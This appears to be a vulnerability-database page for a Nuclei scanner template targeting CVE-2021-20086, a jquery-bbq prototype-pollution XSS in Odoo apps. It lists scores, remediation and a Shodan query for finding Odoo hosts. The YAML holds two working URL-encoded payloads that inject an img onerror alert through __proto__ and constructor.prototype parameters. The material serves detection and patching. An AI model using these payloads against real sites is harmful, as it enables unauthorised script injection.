SecurityContext

CVE-2021-20086: Odoo Apps - Cross-Site Scripting via Prototype Pollution

  • Template: CVE-2021-20086
  • Name: Odoo Apps - Cross-Site Scripting via Prototype Pollution
  • Description: jquery-bbq 1.2.1 contains a prototype pollution caused by improperly controlled modification of object prototype attributes, letting malicious users inject properties into Object.prototype, exploit requires malicious user interaction.
  • Impact: Attackers can modify Object.prototype, leading to potential security issues like property overwrites and application behavior manipulation.
  • Remediation: Update to the latest version of jquery-bbq that addresses this vulnerability or apply patches to prevent prototype pollution.
  • Severity: high
  • Authors: 1337rokudenashi
  • Tags: cve, cve2021, odoo, xss, proto, jquery, vuln
  • References: https://www.tenable.com/security/research/tra-2022-10, https://nvd.nist.gov/vuln/detail/CVE-2021-20086
  • Cves: CVE-2021-20086
  • Verified: yes
  • Max requests: 2
  • Directory: http/cves
  • Path: http/cves/2021/CVE-2021-20086.yaml
  • Digest: 4b0a0048304602210099fd301d98c1fbd183ada77b5cc2b05b66aea41952cf6a87a19863b37627caf1022100c9fcb9221a0ef7237887e8c6f154208f9ee0d93d1b5b64275c2574f2671e2f91
  • Created at: 2025-10-12T10:15:11Z
  • Updated at: 2026-11-24T02:03:42Z
  • Age in days: 408
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20086.yaml

Classification

  • Cwe: CWE-1321
  • Cvss score: 8.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.07295
  • Epss percentile: 0.94516
  • Cpe: cpe:2.3:a:jquery-bbq_project:jquery-bbq:1.2.1:*:*:*:*:*:*:*

Metadata

  • Max-request: 2
  • Product: jquery-bbq
  • Shodan-query: html:"Odoo"
  • Vendor: jquery-bbq_project
  • Verified: yes

Products

ProductIndexedUrl
jquery-bbq_project:jquery-bbqyes/v1/products/jquery-bbq_project/jquery-bbq

Labels

  • Name: jquery-bbq - Prototype Pollution
  • Impact: Attackers can modify Object.prototype, leading to potential security issues like property overwrites and application behavior manipulation.
  • Remediation: Update to the latest version of jquery-bbq that addresses this vulnerability or apply patches to prevent prototype pollution.
  • Vulnerability type: prototype_pollution
  • Vulnerability impact: data_tampering
  • Requirement type: user_interaction
  • Requirements: Malicious user interaction required
  • Labels source: projectdiscovery
  • From cve: CVE-2021-20086

```yaml

id: CVE-2021-20086

info:

name: Odoo Apps - Cross-Site Scripting via Prototype Pollution

author: 1337rokudenashi

severity: high

description: |

jquery-bbq 1.2.1 contains a prototype pollution caused by improperly controlled modification of object prototype attributes, letting malicious users inject properties into Object.prototype, exploit requires malicious user interaction.

impact: |

Attackers can modify Object.prototype, leading to potential security issues like property overwrites and application behavior manipulation.

remediation: |

Update to the latest version of jquery-bbq that addresses this vulnerability or apply patches to prevent prototype pollution.

reference:

- https://www.tenable.com/security/research/tra-2022-10

- https://nvd.nist.gov/vuln/detail/CVE-2021-20086

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

cvss-score: 8.8

cve-id: CVE-2021-20086

cwe-id: CWE-1321

epss-score: 0.07295

epss-percentile: 0.94516

cpe: cpe:2.3:a:jquery-bbq_project:jquery-bbq:1.2.1:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 2

vendor: jquery-bbq_project

product: jquery-bbq

shodan-query: html:"Odoo"

tags: cve,cve2021,odoo,xss,proto,jquery,vuln

http:

- method: GET

path:

- "{{BaseURL}}/?__proto__%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&__proto__%5Bjquery%5D=x"

- "{{BaseURL}}/?constructor%5Bprototype%5D%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&constructor%5Bprototype%5D%5Bjquery%5D=x"

stop-at-first-match: true

matchers:

- type: dsl

dsl:

- '!contains(body, "debug:")'

- 'contains_all(body, "alert(document.domain)","var odoo =")'

- 'status_code == 200'

condition: and

digest: 4b0a0048304602210099fd301d98c1fbd183ada77b5cc2b05b66aea41952cf6a87a19863b37627caf1022100c9fcb9221a0ef7237887e8c6f154208f9ee0d93d1b5b64275c2574f2671e2f91:922c64590222798bb761d5b6d8e72950

```